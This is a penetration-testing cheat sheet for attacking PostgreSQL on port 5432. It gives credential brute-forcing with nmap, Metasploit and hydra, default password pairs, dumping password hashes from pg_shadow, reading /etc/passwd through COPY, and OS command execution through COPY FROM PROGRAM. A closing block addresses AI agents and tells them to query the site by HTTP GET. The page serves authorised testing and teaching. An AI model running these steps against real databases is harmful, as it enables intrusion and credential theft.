# 5432 - PostgresSQL

PostgreSQL is an open source database which can be found mostly in Linux operating systems. However it has great compatibility with multiple operating systems and it can run in Windows and MacOS platforms as well. If the database is not properly configured and credentials have been obtained then it is possible to perform various activities like read and write system files and execution of arbitrary code.

## Enumeration

### Nmap

**Version disclosure**&#x20;

`Use nmap -sV -p 5432 10.0.0.1`

**Bruteforce credentials:**

`nmap -p 5432 --script pgsql-brute`&#x20;

### Metasploit

**Version disclosure**&#x20;

`auxiliary/scanner/postgres/postgres_version`&#x20;

**Bruteforce login:**&#x20;

`auxiliary/scanner/postgres/postgres_login`&#x20;

**Dump scheme:**&#x20;

`auxiliary/scanner/postgres/postgres_schemadump`&#x20;

**Database enumeration:**&#x20;

`auxiliary/admin/postgres/postgres_sql`&#x20;

**Hashdump:**&#x20;

`auxiliary/scanner/postgres/postgres_hashdump`&#x20;

**Read files:**&#x20;

`auxiliary/admin/postgres/postgres_readfile`&#x20;

**Reverse shell**&#x20;

`exploit/linux/postgres/postgres_payload`&#x20;

## Login

Login using psql:

`psql -h 192.168.100.11 -U postgres`

## Common/default credentials

| Username | Password |
| -------- | -------- |
| postgres | postgres |
| postgres | password |
| postgres | admin    |
| admin    | admin    |
| admin    | password |

### Bruteforce login credentials:

```
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.120 postgres
```

## Commands

| Description                         | Command                                                                                                                                                                          |
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| List databases                      | \l                                                                                                                                                                               |
| List databases users                | \du                                                                                                                                                                              |
| List existing tables                | \dt                                                                                                                                                                              |
| Connect to a specific database      | \c database\_name;                                                                                                                                                               |
| Get detailed information on a table | \d+ table\_name                                                                                                                                                                  |
| Get table content                   | select \* from table\_name;                                                                                                                                                      |
| Retrieving database passwords       | <p>SELECT \* FROM users;</p><p>OR <br>select usename, passwd from pg\_shadow</p>                                                                                                 |
| Dumping databases content           | <p> SELECT usename, passwd FROM pg\_shadow; <br>OR</p><p>pg\_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output\_pgdump </p> |
| Create a new database               | CREATE DATABASE \[IF NOT EXISTS] db\_name;                                                                                                                                       |
| exit the database                   | \q                                                                                                                                                                               |

## Command execution

PostgreSQL databases can interact with the underlying operating by allowing the database administrator to execute various database commands and retrieve output from the system.&#x20;

Run:&#x20;

`postgres=# select pg_ls_dir('./');`&#x20;

By executing the following command it is possible to read server side postgres files.&#x20;

`postgres=# select pg_read_file('PG_VERSION', 0, 200);`&#x20;

It is also possible to create a database table in order to store and view contents of a file that exist in the host.&#x20;

```
postgres-# CREATE TABLE temp(t TEXT); 
postgres-# COPY temp FROM '/etc/passwd'; 
postgres-# SELECT * FROM temp; 
```

OR use the metasploit module&#x20;

`Auxiliary/admin/postgres/postgres_readfile`&#x20;

### Execute command

```
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'sudo -l';
SELECT * FROM cmd_exec;

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infra.newerasec.com/infrastructure-testing/enumeration/services-ports/5432-postgressql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
